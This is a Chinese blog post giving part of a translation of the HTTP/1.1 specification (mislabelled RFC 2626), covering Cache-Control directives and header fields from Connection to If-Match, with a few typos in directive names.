工作,学习,生活,这里将会有一些记录. 备用域名:http://meisw.51099.com 注册 | 登陆
浏览模式: 标准 | 列表分类:网络技术

HTTP协议(rfc2626)中文翻译(修订版) 三

缺省情况下,若请求方法、请求头域和响应状态码指明响应为可缓存的,则此响应就是可以缓存的。13.4节总结了可缓存性的这些缺省情况。下列缓存控制响应指令(Cache-Control response deirctives)允许源服务器覆盖缺省的响应可缓存性:

public

指明响应可被任何缓存保存,即便该响应通常是不可缓存的或只在非共享缓存里是可缓存的。(参见14.8节,关于Authorization头域的更多详述。)

private

指明响应消息的部分或所有部分是为一个用户准备的并且不得被共享缓存保存。可以使源服务器可以声明响应的特定部分来针对某一用户并且对其他用户的请求是无效的。一个私有(非共享)缓存可以缓存此响应。

注:词语“私有”的使用仅用来控制响应在何处可被缓存,并且不能保证消息内容的隐私。

no-cache

如果no-cache缓存控制指令没有指定一个field-name,那么一个缓存不能利用此响应在没有通过源服务器对它进行成功重验证的情况下去满足后续的请求。这允许源服务器去防止响应被缓存保存,即使此缓存已被设置可以返回陈旧响应给客户端。 

如果no-cache缓存控制指令指定一个或多个field-name,那么缓存可以利用此响应去满足后续的请求,但这要受限于对缓存的其它限制。然而,指定的filed-name必须不能在后续请求的响应里被发送如果此响应没有在源服务器那里得到成功重验证。这允许源服务器能防止缓存去重利用响应里的某些头域,但仍然允许缓存能保存响应剩余部分。

注意:大多数HTTP/1.0缓存将不能识别或遵循这个指令。
14.9.2什么能被缓存保存

no-store

no-store缓存控制指令的目的在于防止不经意地释放或保留敏感信息(比如存放在备份磁带的信息)。 no-store缓存控制指令应用于整个消息,并且可以在响应里或在请求里被发送。如果在请求里被发送,缓存不能保存此请求或此请求响应的任何部分。如果在响应里被发送,缓存不能保存此响应或保存此响应请求的任何部分。此缓存控制指令能应用于非共享缓存和共享缓存。“不能保存”在这个背景里的意思是指缓存不能有意地把信息保存在非易失性存储里,而且必须尽力去删除易失性存储上的信息当它转发完毕后。

即使当此指令在一个响应里时,用户也可能会显式地在缓存系统之外保存这个响应(例如,利用一个“另存为”对话框)的地方。历史缓冲(History buffers)(见13.13节)可能保存这个响应作为它们正常操作的一个部分。 

此指令的目的是为了满足某些用户声明的要求,还有就是为那些比较在意通过访问缓存数据结构而发生信息泄漏的作者提供方便。在一些情况下,利用此缓存控制指令可能会增强隐私,但是我们注意到它并不是在任何情况下都是可信任的或都能充分地保护隐私的。特别是,恶意的或被损坏的缓存可能不能识别到或遵循此指令,并且网络通信也容易随时受到窃听。
14.9.3对基本过期机制的改进

实体的过期时间可由源服务器利用“Expires”头域(参见14.21节)指定。 或者,也可以在响应里利用max-age缓存控制指令指定。当max-age缓存控制指令出现在一个已缓存的响应里时,如果此响应的当前年龄(current age,译注:见13.2.3节关于current age的定义)大于为那个资源的一个新请求时max-age里给定的年龄值(以秒),那么这个已缓存的响应是陈旧的(stale)。对在一个响应里应用max-age缓存控制指令意味着此响应是可缓存的(也就是说“公有的”)除非出现其它更具限制性的缓存控制指令于响应里。

若响应同时含有Expires头域和max-age缓存控制指令,那么max-age缓存控制指令应该覆盖Expires头域,即使Expires头域更具限制性。此规则允许源服务器可以为一给定响应来为一HTTP/1.1(或更迟)缓存提供一个比一HTTP/1.0缓存更长的过期时间(expiration time)。这个规则可能会很有用,如果某个HTTP/1.0缓存不恰当地计算了年龄(ages)或过期时间(expiration times),可能由于不同步的时钟。

许多HTTP/1.0缓存实现可能会把响应里小于或等于该响应里Date头域值的Expires头域值看成与“no-cache”缓存控制响应指令等效。如果一个HTTP/1.1缓存接收到这样一个响应,并且此响应没有包含一个Cache-Control头域,缓存应把此响应看成一个不可缓存的,这是为了保持和HTTP/1.0服务器兼容。 

注意:一个源服务器可能希望把一个相对较新的HTTP缓存控制特性,例如“private”缓存控制指令,用于一个存有不能理解此特性的旧的缓存的网络上。源服务器应该需要把新特性和响应里值小于或等于Date值的Expires头域联合起来,这样以便防止旧缓存不恰当地保存此响应。

s-maxage

如果一响应包含一s-maxage缓存控制指令,那么对于一共享缓存(不能对私有缓存)来说,s-maxage指定的值将会覆盖max-age缓存控制指令或Expires头域。s-maxage缓存控制指令照样意指proxy-revalidate缓存控制指令(见14.9.4节)的语义,也就是说,共享缓存在没有通过源服务器首先重验证这个已陈旧的缓存项时不能利用它来响应后续的请求。s-maxage缓存控制指令总是被私有缓存忽略。

注意:大多数不遵循此规范的老的缓存没有实现任何缓存控制指令。 一个源服务器如果希望利用一缓存控制指令去限制(但不能阻止)遵循HTTP/1.1的缓存去进行缓存处理,那么它可能会采用max-age控制指令去覆盖Expires头域,并且它会承认HTTP/1.1以前版本的缓存不会去观察max-age缓存控制指令。

其它缓存控制指令允许一个用户代理(user agent)去改变基本的过期机制。这些指令可能会被指定在请求里:

max-age 

表明客户端愿接受这样一个响应,此响应的年龄不大于客户端请求里max-age指定时间(以秒为单位)。除非max-stale缓存控制指令也包含在请求里,否则客户端是不能接收一个陈旧响应的。

min-fresh 

表明客户端愿接受一个这样的响应,其保鲜寿命不小于响应当前年龄(current age,见13.2.3节关于current_age的定义)与客户端请求里的min-fresh指定的时间之和(以秒为单位)。也就是说,客户端想要一个响应至少在min-fresh指定的时间内是保鲜的。

max-stale 

表明客户端愿接受已经过期的响应。 若客户端请求为max-age指定了一个值,则表明客户端愿意接受过期时间不超过在max-stale里指定秒数的响应。若max-stale没有赋值,则客户端愿接受任意年龄的陈旧响应。

由于max-stale缓存控制指令出现在请求里,或由于此缓存被设置成能覆盖响应的过期时间,导致缓存返回了一个陈旧响应,那么缓存必须把一个Warning头域放进这个陈旧响应里,此Warning头域里应该是110警告码(响应是陈旧的)。

一个缓存可以被设置为可以不需要验证就可以返回陈旧的响应,但这不应与任何关于缓存验证(例如,一个“must-revalidate”缓存控制指令)的“必须”等级的要求相冲突。

若新请求与缓存项都包含一个“max-age”缓存控制指令,那么取两个值的小者来为此请求决定缓存项的保鲜程度。 
14.9.4缓存重验证和加载控制(Cache Revalidation and Reload Controls)

有时,用户代理可能希望或出于需要,坚持要求某缓存通过源服务器去重验证其缓存项,或者要求其缓存从源服务器那里重新加载其缓存项。End-to-end重验证也许是有必要的,如果缓存或源服务器已过高估计已缓存的响应(cached response)的过期时间。End-to-end重新加载可能是必要的,如果缓存项由于某原因已经变得陈旧了。

End-to-end重验证可能被请求,当客户端没有本地缓存副本,此时我们称之为“未指定的end-to-end重验证(unspecified end-to-end revalidation)”,或者,当客户端存有本地缓存副本,此时我们称之为“指定的end-to-end重验证(specific end-to-end revalidation)”。

利用缓存控制请求指令,客户端能指定下面三种动作:

End-to-end reload (End-to-end重新加载)

请求包含“no-cache”缓存控制指令,或,为了兼容HTTP/1.0客户端,“Pragma: no-cache”缓存控制指令。头域名不能被包含在请求的no-cache缓存控制指令里。服务器不能利用一个缓存副本来响应这样一个请求。

Specific end-to-end revalidation(指定的end-to-end重验证)

请求包含一个“max-age=0”缓存控制指令,它强制每个途径源服务器的缓存必须通过下一缓存或服务器来重验证它所拥有的缓存项(如果有的话)。此初始请求包含一带有客户端当前验证器的缓存验证条件。

Unspecified end-to-end revalidation(未指定的end-to-end重验证)

请求包含一个“max-age=0”缓存控制指令,它强制每个途径源服务器的缓存必须通过下一缓存或服务器来重验证它所拥有的缓存项(如果有的话)。此初始请求没有包含一缓存验证条件;沿着路径上的第一个拥有此资源缓存项的缓存(如果有的话)在请求里包含一带有其缓存当前验证器的缓存验证条件。

max-age

当一个中间缓存被一个max-age=0的缓存控制指令强迫去重验证它所拥有的缓存项,并且客户端已经在请求里包含了其本身拥有的验证器,此验证器可能不同于当前缓存项里保存的验证器。在这种情况下,缓存应该在不影响语义透明性的情况下利用任一验证器去执行请求。

然而,验证器的选择可能会影响性能。最好的办法对中间缓存来说,就是当执行请求时利用它自己的验证器。如果服务器以304(没有改变)回复,那么此缓存能返回一个它自己现在已经验证了的副本给客户端同时以一200(OK)状态码。如果服务器以一新实体和一新缓存验证器来回复请求,那么此中间缓存会把返回的验证器同客户端请求里的验证器作比较,并利用强比较方法。如果客户端的验证器和源服务器的相等,那么此中间缓存器只是简单的返回304(没有改变)响应。否则,它返回一个新的实体并且状态码是200的响应。

如果一个请求包含一个no-cache缓存控制指令,那么它不应包含min-fresh,max-stale,或max-age缓存控制指令。

only-if-cache

在一些情况下,例如糟糕的网络连接,一客户端可能希望一缓存只返回缓存当前保存的响应,并且不需要缓存通过源服务器对其缓存项进行重新加载或重验证。如果这样作,客户端可能会包含一个only-if-cached缓存控制指令于请求里。如果缓存接收了这样的指令,那么缓存应利用缓存项(但必须满足请求的其它方面的限制)去响应,或以504(网关超时)状态码响应。然而,如果一组缓存作为一统一的具有良好内部连接性的系统来操作,那么这个请求可能会转发到缓存组的内部。

must-revalidate

由于一个缓存可能被设置去忽略服务器指定的过期时间,并且又由于一个客户端请求可能包含一个max-stale缓存控制指令(具有相似的作用),所以此协议同样包含一个让源服务器强迫缓存项被重验证的机制。当must-revalidate缓存控制指令出现在已被缓存接收的响应里时,那么此缓存不能利用此缓存项,如果在它变得陈旧并且没有通过源服务器对它进行重验证的情况下,去响应一个后续的请求。(也就是说,缓存必须每次进行end-to-end重验证,如果单独地基于源服务器的Expire或max-age值,已缓存的响应是陈旧的话)

must-revalidate缓存控制指令可以为某些协议特性提供可信赖性操作。在所有情况下,一个HTTP/1.1缓存必须遵循must-revalidate缓存控制指令;特别地,如果此缓存不能直接和源服务器通信,那么它必须产生一个504(网关超时)响应。

服务器应发送must-revalidate缓存控制指令,如果并且只有在服务器对实体的验证请求失败而导致不正确的操作时,例如一个不动声息的未执行的金融事务。接收端不能采取任何违反此缓存控制指令的自动的行为,并且不能自动地提供一个被验证无效的实体副本如果此副本通过源服务器重验证失败。

尽管这不被推荐,用户代理(user agent)如果在糟糕的网络连接限制下,可能会违反此缓存控制指令,但是,如果这样的话,它必须显式地警告用户这是一个未验证的响应。警告必须在每次未验证的访问时被提供,而且用户代理应需要用户显式地确认信息。

proxy-revalidate

proxy-revalidate缓存控制指令和must-revalidate缓存控制指令具有相同的语义,但它不能应用于非共享(non-shared)的用户代理缓存。它能被用于一已被授权请求的响应,去允许用户缓存能保存或者过后能返回此响应而不需要去重验证它(因为它已经被那个用户授权了一次),但是服务于多个用户的代理仍然需要每次去重验证它(为了保证每个用户已被授权)。注意这样的授权响应同样需要public缓存控制指令,这是为了允许响应能完全被缓存。
14.9.5 No-Transform缓存控制指令 

no-ransform

中间缓存(代理)的实现者们已发现转换某个实体主体的媒体类型转是很有用的。一个非透明代理可能,例如,会在不同图像格式之间进行转换,这是为了节约空间或在低速的连接上减少通信流量。

然而,当这些转换应用于某些应用的实体主体时,会引发严重操作问题。比如,医学图象应用程序,科学数据分析应用程序和利用end-to-end认证的应用程序都必须保证接收到的实体主体与原实体主体每一bit都是一致的。 

所以,如果消息包括了no-ransform缓存控制指令, 那么中间缓存或代理不能改变13.5.2节中列出的受限于no-transform缓存控制指令的头域。这意味着缓存或代理不能改变由这些头域指定的实体主体的任何方面(aspect),包括实体主体本身的值。 
14.9.6缓存控制扩展(Cache control Extendions)

Cache-Control头域能被扩展,可通过一个或多个cache-extension标记,每个标记可以被赋于一个值。信息扩展(这些扩展无须缓存行为的改变)可以不经改变其它缓存控制指令的语义而被添加。行为扩展是通过现有缓存控制指令的基本行为的修饰来实现的。 新缓存控制指令与标准缓存控制指令两者都被提供,这样,不理解新缓存控制指令的应用程序会缺省地采用标准缓存控制指令规定的行为,而那些能理解新指令的应用程序会将其看做是修改了标准缓存控制指令的要求。这样,缓存控制指令的扩展可以在无须改变基本协议的情况下就能够实现。

扩展机制依赖于一HTTP缓存,此缓存遵从所有本地HTTP版本缓存定义的缓存控制指令,遵从一定的扩展,并且会忽略所有它不能理解的缓存控制指令。

例如,考虑一个假设的名为“community”的新缓存响应控制指令,此指令被看成是对private缓存控制指令的修饰。我们定义此新缓存控制指令以表明:除共享缓存,任何被communit值命名的社区成员共享的缓存也可缓存此响应。例如,如果一个源服务器希望允许UCI社区里的成员在他们共享缓存里可以使用一私有响应,那么此源服务器应该包含:

Cache-Control: private, commuity="UCI" 

一个见到此头域的缓存将会正确执行,即使此缓存不能理解这个community缓存扩展,因为缓存同样能看到并且能理解private缓存控制指令所以这样能导致缺省的安全行为。

不能识别的缓存控制指令必须被忽略;我们认为不能被HTTP/1.1缓存识别的任一缓存控制指令会和标准缓存控制指令(或者响应的缺省缓存能力)联合在一起这样缓存行为会保持最小正确性即使缓存不理解此扩展。
14.10 Connection

Connection常用头域允许发送者指定某些专属于某特定连接的选项,并且Connection头域不能被代理(proxy)在以后的连接中传送。

Connection头域遵循如下语法:

Connection = “Connection” “:” 1#(connection-token)

connection-token = token

HTTP/1.1代理必须在转发消息之前解析Connection头域并且,为此头域中每一个connection-token,从消息中删除任何与connection-token里同名头域。 连接选项是由Connection头域中出现connection-token而指明的,而不是由任何相应的附加头域,因为附加头域可以不被发送如果对应的那个连接没有参数。

Connection头域里列出的消息头域不得包含end-to-end头域,例如Cache-Control头域。

HTTP/1.1定义了“close”连接选项,这是为了让发送者指明在完成响应后连接将被关闭。

例如 

Connection:close 

无论是出现在请求或响应的头域里都表明:在完成现有请求/响应后连接不应被视是“持续的(persistent)”(参见8.1节)。

不支持持久连接的HTTP/1.1应用程序必须在每一消息中都加上“close”连接选项。

接收到含有Connection头域的HTTP/1.0(或更低版本)消息的系统必须要为每一个connection-token去删除或忽略消息中与之同名的头域。这避免以前版本的HTTP/1.1代理错误转发这些头域。
14.11 Content-Encoding

“Content-Encoding”实体头域是对媒体类型的修饰。当此头域出现时,其值表明对实体主体采用了何种内容编码,从而可以知道采用何种解码机制以获取Content-Type头域中指出的媒体类型。Content-Encoding头域主要目的是可以在不丢失下层媒体类型的标识下对文档进行压缩。

Content-Encoding = "Content - Encoding" ":" 1#content-coding 

内容编码在3.5节里定义。下面是一个应用的例子:

Content-Encoding:gzip 

内容编码(content-coding)是请求URI指定实体的特性。通常,实体主体以内容编码(content-coding)的方式存储,然而只有在此实体主体被呈现给用户之前才能被解码。然而,非透明代理可能会把实体主体的内容编码(content-coding)改成接收端能理解的内容编码(content-coding),除非“no-transform”缓存控制指令出现在消息里。

如果实体的内容编码不是“identity”,那么此响应必须包含一个Content-Encoding实体头域(见14.11节)并且列出非dentity的内容编码。

若实体的内容编码(content-coding)是一不被源服务器接受的请求消息,则响应必须以415状态码响应(不支持的媒体类型)。

若实体采用多种编码,则内容编码必须在Content-Encdoing头域里列出,而且还必须按他们被编码的顺序列出。额外的关于编码参数的信息可以在其它实体头域里提供,这在此规范里没有定义。
14.12 Content-Language

Content-Language实体头域描述了实体面向用户的自然语言。请注意,这不一定等同于实体主体中用到的所有语言。

Content-Language = “Content-Language” “:” 1#language-tag

语言标签由3.10节定义。Content-Language头域的主要目的在于让用户根据自己喜爱的语言来识别和区分实体。这样,如果实体主体的内容是面向丹麦语言的用户,那么下面的头域是适合的:

Content-Language: da 

若未指明Content-Language头域,那么此内容缺省是对所有语言的用户都支持。这既可能意味着发送者认为实体主体的内容与任意自然语言无关,也可能是发送者不知道内容该针对哪种语言。

在Content-Language头域里可以为内容(content)列出多种语言。例如,同时用毛里土语和英语呈现“Treaty of Waitangi”就可以用下面表示:

Content-Language: mi,en 

然而,有多种语言呈现于实体中并不代表此实体一定是为多个国家语言的用户准备的。比如《初学拉丁文》之类的语言启蒙教程,显然是针对英语用户的。这里,合适的Content-Language头域里应只包括“en”。

Content-Language可应用于任意媒体类型(media type) -- 它不限于文本式的文档。
14.13 Content-Length

Content-Length实体头域用于指明发送给接收者实体主体(entity-bidy)的大小(以十进制的字节数表示),或是在使用HEAD方法时,指明实体主体本应在GET方法时发送实体主体的大小。

Content-Length = “Content-Length” “:” 1*DIGIT 

示例:

Content-Length: 3495 

除非被4.4节里规定的规则禁止,否则应用程序应该利用此头域指明消息主体(message-body)的传输长度。

任何大于或等于0的Content-Length均为有效值。如果一个Content-Length没有在消息里给定,4.4节描述了如何判断消息主体的长度。

请注意Content-Length头域的含义与MIME中的关于此头域的定义有很大的区别,MIME中,它在content-type类型为“message/external-body”的消息里是可选的。在HTTP中,在消息被传输之前,如果消息的长度能被确定,那么消息里应该包含Content-Length头域,除非不被4.4节里的规则允许。
14.14 Content-Location

Content-Location实体头域可用来为消息里的实体提供对应资源的位置,当此实体的访问位置独立于请求URI时。一服务器应该为响应实体的变量(variant,译注:见1.3节 术语)提供一个Content-Location头域;尤其是在资源有多个对应的实体时,并且这些实体拥有各自不同的位置,并且可以通过这些位置单独地访问到各个实体,这时服务器应该为一个特定的变量(variant)提供一个Content-Location头域。 

Content – Location = “Content-Location” “:” (absoluteURI | relativeURI)

Content-Location的值同样为实体定义了基URI(base URI)。

Content-Location的值并不能作为源请求URI(original requested URI)的替代物;它只能是陈述了请求时相应于特定实体的资源位置。将来的请求也许会用Content-Location里的URI作为请求URI,如果请求期望指定那个特定实体源。

如果一个实体含有一个Content-Location头域,并且此头域里的URI不同于获得此实体的URI,那么缓存不能认为此实体能被用于去响应基于那个Content-Location里URI的后续请求。然而,Content-Location能被用于区分同一请求资源的多个实体,这在13.6节里描述了。

若Content-Location拥有的是相对URI(relative URI),则此相对URI(relative URI)是相对于请求URI来解析的(Request-URI)。

PUT或POST请求中含有Content-Location头域是没有定义的;服务器可自由忽略它。 
14.15 Content-MD5

Content-MD5实体头域,正如RFC1864[23]里定义的一样,提供实体主体(entity-body)的MD5摘要(digest),为的是提供end-to-end消息完整性检测(MIC)。(注:一MIC有利于检测实体主体传输过程中的偶然性变动,但不一定能防范恶意攻击。)

Content-MD5 = "Content-MD5" ":" md5-digest 

MD5-digest=< 由RFC 1864 定义的base64的128位MD5摘要> 

Content-MD5头域可由源服务器或客户端产生,用作实体主体的完整性检验。只有源服务器或客户端可生成Content-MD5头域;不得由代理和网关生成,否则会有悖于其作为端到端完整性检验的价值。任何实体主体的接收者,包括代理和网关,都可以检查此头域里的摘要值与接收到的实体主体的摘要值是否相符。

MD5摘要的计算基于实体主体的内容,包括任何已应用的内容编码(content-coding),但不包括应用于消息主体的任何传输编码。若接收到的消息具有传输编码,那么传输编码必须在用Content-MD5值与接收到的实体相检测之前被解除。

这样做的结果是:摘要的计算是基于实体主体(entity-body)的字节的,就像一条命令:如果没有传输编码被应用,它们将会被发送。

HTTP 将RFC 1864拓宽到允许对MIME复合媒体类型(如multipart/*,message/rfc822)计算摘要,但这并不改变如前所述的摘要计算方法。

有一些关于这个的后果。复合媒体类型(composite types)的实体主体可能包含许多body-part,每一个body-part都有它自己的MIME和HTTP头域(包括Content-MD5,Content-Transfer-Encoding,和Content-Encoding头域),如果一个body-part有一个Content-Transfer-Encoding或Content-Encoding头域,那么应该认为此body-part的内容已被应用此编码,并且认为此body-part被包含于Content-MD5摘要里,就是说在应用编码之后。Transfer-Encoding头域不被允许出现在body-part里。

不可在计算或核对摘要之前就将任何其它换行转换为CRLF:实际传输的文本中使用的换行必须原封不动的参与摘要计算。

注:虽然HTTP的Content-MD5的定义和RFC 1864中关于MIME实体主体的完全一样, 但HTTP 实体主体在对Content-MD5的应用上仍然有几处与MIME实体主体有所区别。首先,HTTP不象MIME会用Content-Transfer-Encoding头域,而是会使用Transfer-Encoding和Content-Encoding头域。 其次,HTTP比MIME更多地使用二进制内容类型,所以这种情况要注意用于计算摘要的字节顺序是由那个类型所定义的传输字节顺序(transmission byte order)。最后,HTTP允许文本类传输时采用数种换行,而不只是规范的使用CRLF的的标准形式。
14.16 Content-Range

Content-Range实体头域与部分实体主体一起发送,用于指明部分实体主体在完整实体主体里哪部分被采用。 范围的单位(Range unit)在3.12节中定义。 

Content-Range = "Content-Range" ":" content-range-spec

content-range-spec = byte-content-range-spec

byte-content-range-spec = bytes-unit SP

byte-range-resp-spec "/"

( instance-length | "*" )

byte-range-resp-spec = (first-byte-pos "-" last-byte-pos)

| "*"

instance-length = 1*DIGIT

除非无法或很难判断,此头域应指明完整实体主体的总长度。星号“*”表示生成响应时的instance-length未知。

不像byte-ranges-specifier值(参见14.35.1节),byte-range-resp-spec必须只能指明一个范围,并且必须包含首字节和尾字节的绝对位置。

一个带有byte-range-resp-spec的byte-content-range-spec,如果它的last-byte-pos值小于first-byte-pos值,或它的instance-length值小于或等于它的last-byte-pos值,那么就说明是无效的。收到无效的byte-content-range-spec将被忽略,并且任何随其传输的内容都将被忽略。

响应时发送状态码416(请求的范围无法满足)的服务器应包含一个Content-Range头域,且里面的byte-range-resp-spec的值为“*”。instance-length指定当前选定资源的长度。状态码为206(部分内容)的响应不应该包含一个byte-range-resp-sepc为“*”的Content-Range头域。

假定实体共含1234字节,byte-content-range-spec值的例子如下:

. The first 500 bytes:

bytes 0-499/1234

. The second 500 bytes:

bytes 500-999/1234

. All except for the first 500 bytes:

bytes 500-1233/1234

. The last 500 bytes:

bytes 734-1233/1234

当HTTP消息里包含单个范围时(比如,对单个范围请求的响应,或对一组无缝相连的范围请求的响应),那么此内容必须跟随一个Content-Range头域,并且还应该包含一个Content-Length头域来表明实际被传输字节的数量。例如,

HTTP/1.1 206 Partial content

Date: Wed, 15 Nov 1995 06:25:24 GMT

Last-Modified: Wed, 15 Nov 1995 04:58:08 GMT

Content-Range: bytes 21010-47021/47022 

Content-Length: 26012

Content-Type: image/gif

当HTTP报文包含多个范围时(比如,对多个无重叠范围请求的响应),它们会被当作多部分类型的消息来传送。基于为此目的多部分媒体类型为“multipart/byteranges”,它在附录19.2里介绍了。见19.6.3里关于兼容性的问题描述。

对单个范围请求的响应不能使用multipart/byteranges媒体类型。若对多个范围请求的响应结果为一单个范围,那么可以以一个multipart/byteranges媒体类型发送并且此媒体类型里只有一个部分(part)。一个客户端如果无法对multipart/byteranges消息解码,那么它不能在一请求中请求多个字节范围。

当客户端在一请求中申请多个字节范围时,服务器应按他们在请求中出现顺序的范围返回他们所指定的范围。

若服务器出于句法无效的原因忽略了byte-range-spec,它应把请求里无效的Range头域视为不存在。(正常情况下,这意味着返回一个包含完整实体的200响应。)

如果服务器接收到一请求,此请求包含一无法满足的Range请求头域(也即,所有byte-range-spec里的first-byte-pos值大于当前选择资源的长度),那么它将返回一个416响应(请求的范围无法满足)(参见10.4.17节)。

注: 客户端对无法满足Range请求头域不能指望服务器一定返回416(请求的范围无法满足)响应而非200(OK)的响应,因为不是所有服务器都能处理Range请求头域。
14.17 Content-Type

Content-Type实体头域指明发给接收者的实体主体的媒体类型,或在HEAD方法中指明若请求为GET时将发送的媒体类型。

Content-Type = "Content-Type" ":" media-type

媒体类型有3.7节定义。 此头域的示例如下:

Content-Type: text/html; charset=ISO-8859-4

7.2.1节提供了关于确定实体媒体类型方法的进一步论述。
14.18 Date

Date常用头域表明产生消息的日期和时间,它和RFC822中的orig-date语义一样。此头域值是一个在3.3.1里描述的HTTP-date;它必须用RFC1123[8]里的date格式发送。

Date="Date"":"HTTP-date 

举个例子

Date:Tue,15 Nov 1994 08:12:31GMT

源服务器在所有的响应中必须包括一个日期头域,除了下面这些情况:

1. 如果响应的状态代码是100(继续)或101(转换协议),那么响应根据服务器的需要可以包含一个Date头域。

2. 如果响应状态代码表达了服务器的错误,如500(内部服务器错误)或503(难以获得的服务),那么源服务器就不适合或不能去产生一个有效的日期。

3. 如果服务器没有时钟,不能提供合理的当前时间的近似值,这个响应没必要包括Date头域,但在这种情况下必须遵照 14.18.1节中的规则。

一个收到的消息如果没有Date头域的话就会被接收者加上一个,如果这条消息将要被接收者缓存或者将要通过一需要日期的网关。一个没有时钟的HTTP实现不能在没有重验证响应时去缓存(保存)此响应。一个HTTP缓存,特别是一个共享缓存,应该使用一种机制,例如NTP[28],让它的时钟与外界可靠的时钟保持同步。

客户端在包括实体主体(entity-body)的消息中应该包含一个Date头域,例如在PUT和POST请求里,即时这样做是可选的。一个没有时钟的客户端不能在请求中发送Date头域。

一个Date头域中的HTTP-date不应该是一个消息产生时刻之后的日期和时间。它应该表示与消息产生时的日期和时间的最近似值,除非没有办法产生一个合理的精确日期和时间。理论上说,日期应该是在实体(entity)产生之前的那一刻,实际上,日期是在不影响其语义值的情况下消息产生期间的任意时刻。
14.18.1没有时钟的源服务器运作

一些源服务器实现可能没有可得时钟。一个没有可得时钟的源服务器不能给一个响应指定Expires或Last-Modified头域值,除非通过一个具有可信赖时钟的系统或用户,把此值与此资源联系在一起。可以给Expires赋予一值,此值在服务器的配置时间之时或之前将被视为过去。(这允许响应提前过期而不需要为每个资源保存单独的Expires值)。
14.19 ETag

Etag响应头域提供了请求对应变量(variant)的当前实体标签。与实体标签一起使用的头域在14.24,14.26和14.44节里描述。实体标签可用于比较来自同一资源的不同实体。(参见13.3.3节)

Etag = "Etag" ":" entity-tag

例: 

ETag: "xyzzy" 

ETag: W/"xyzzy" 

ETag: "" 
14.20 Expect

Expect请求头域用于指明客户端需要的特定服务器行为。

Expect = "Expect" ":" 1#expectation

expectation = "100-continue" | expectation-extension

expectation-extension = token [ "=" ( token | quoted-string )

*expect-params ]

expect-params = ";" token [ "=" ( token | quoted-string ) ]

一个服务器如果不能理解或遵循一个请求里Expect头域的任何expectation值,那么它必须以合适的错误状态码响应。如果服务器不能满足任何expectation值,服务器必须以417(期望失败)状态码响应,或者如果服务器满足请求时遇到其它问题,服务器必须发送4xx状态码。

本头域为将来的扩展被定义成一个扩展的语法。若服务器接收到的请求含有它不支持的expectation-extension,那么它必须以417(期望失败)状态响应。

expectation值的比较对于未引用标记(unquoted token)(包括“100-contine”标记)是而言是不区分大小写的,对引用字符串(quoted-string)的expectation-extension而言是区分大小写的。

Expect机制是hop-by-hop的:即HTTP/1.1代理(proxy)必须返回417(期望失败)响应如果它接收了一个它不能满足的expectation。 然而,Expect请求头域本身是end-to-end头域;它必须要随请求一起转发。

许多旧版的HTTP/1.0和HTTP/1.1应用程序并不理解Expect头域。

参见8.2.3节中100(继续)状态的使用。 
14.21 Expires

Expires实体头域(entity-header)给出了在何时之后响应即被视为陈旧的。一个陈旧的缓存项不能被缓存(一个代理缓存或一个用户代理的缓存)返回给客户端,除非此缓存项被源服务器(或者被一个拥有实体的保鲜副本的中间缓存)验证。见13.2节关于过期模型的进一步的讨论。

Expires头域的出现并不意味着资源在Expire指定时间时、之前或之后将会改变或不存在。 

Expires头域里日期格式是绝对日期(absolute date)和时间,由3.3.1节中HTTP-date定义;它必须是RFC1123里的日期格式:

Expires="Expires " ":" HTTP-date 

使用示例为:

Expires: Thu, 01 Dec 1994 16:00:00 GMT

注:若响应包含一个Cache-Control头域,并且含有max-age缓存控制指令(参见14.9.3节),则此指令覆盖Expires头域。

HTTP/1.1客户端和缓存必须把其它无效的日期格式,特别是包含“0”的日期格式看成是过去的时间(也就是说,“已经过期”)。

为了将响应标为“已经过期”,源服务器必须把Expires头域里的日期设为与Date头域值相等。(参见13.2.4节里关于过期计算的规则。)

为标记响应为“永不过期”,源服务器必须把Expires头域里的日期设为晚于响应发送时间一年左右。HTTP/1.1服务器不应发送超过将来一年的过期日期。

除非另外被Cache-Control头域(见14.9节)指明,否则如果存在Expires头域且头域里的日期值为某响应(可能缺省是不可缓存的)将来时间,那么就表明此响应是可缓存的。 
14.22 From

From请求头域,如果有的话,应该包含用户代理当前操作用户的email地址。这个地址应该是机器可用的地址,这被RFC 822 [9]里的“mailbox”定义的同时也在RFC 1123 [8]里作了修订:

From = "From" ":" mailbox 

例如:

From: webmaster@w3.org 

From头域可以被用于记录日志和作为识别无效或不期望请求的来源。他不应该被用作访问保护的不可靠方法。这个头域的解释是:此请求是代表所指定人执行,此人应该承担这个方法执行的责任。特别的,机器人代理(robot agents)应该包含这个头域,这样此人应该对运行此机器人代理程序负责,并且应该能被联系上如果在接收端出现问题的话。

此头域里的网络email地址是可以和发出请求的网络主机(host)不同。例如,当一个请求被通过一代理(proxy)时,源作者的地址应被使用。

客户端在没有用户的允许时是不应发出From头域的,因为它可能和用户的个人隐私或他们站点的安全策略(security policy)相冲突。强烈建议在任何一请求之前,用户能取消,授权,和修改这个头域的值。
14.23 Host

Host请求头域指明了请求资源的网络主机和端口号,这可以从用户或相关资源给定的源URI获得(通常是一个HTTP URL,在3.2.2节描述)。Host头域值必须代表源服务器或网关(由那个源URL指定)的命名权限(naming authority)。这允许源服务器或网关去区分有内在歧义的URLS,例如,拥有一个IP地址对应有多个主机名服务器,它的根“/”URL。 

Host = "Host" ":" host [ ":" port ] ; 3.2.2节

一个“host”如果没有跟随的端口信息,那么就采用是请求服务的的默认端口(例如,对一个HTTP URL来说,就是80端口)。例如,一个对源服务器“http://www.w3.org/pub/WWW/”的请求,可以用下面来表示:

GET /pub/WWW/HTTP/1.1

Host: www.w3.org

一个客户端必须在所有HTTP/1.1请求消息里包含一个Host头域。如果请求URI没有包含请求服务的网络主机名,那么Host头域必须给一个空值。一个HTTP/1.1代理必须确保任何它转发的请求消息里必须包含一个正确的Host头域,用于指定代理请求服务。所有基于网络的HTTP/1.1服务器必须响应400(坏请求)状态码,如果请求消息里缺少Host头域。

见5.2和19.6.1.1节里有针对Host头域的其他要求。
14.24 If-Match

If-Match请求头域是用来让方法成为条件方法。如果一个客户端已经从一个资源获得一个或多个实体(entity),那么它可以通过在If-Match头域里包含相应的实体标签(entity tag)来验证实体是否就是服务器当前实体。实体标签(entity tag)在3.11节里定义。这个特性使更新缓存信息只需要一个很小的事务开销。当更新请求时,它照样被用于防止对资源错误版本的不经意修改。作为一种特殊情况,“*”匹配资源的当前任何实体。 

If-Match = "If-Match" ":" ( "*" | 1#entity-tag )

如果If-Match头域里任何一个实体标签假设与一个相似GET请求(没有If-Match头域)返回响应里实体的实体标签相匹配,或者如果给出“*”并且请求资源的当前实体存在,那么服务器可以执行请求方法就好像If-Match头域不存在一样。

服务器必须用强比较方法(见13.3.3)来比较If-Match里的实体标签(entity tag)。

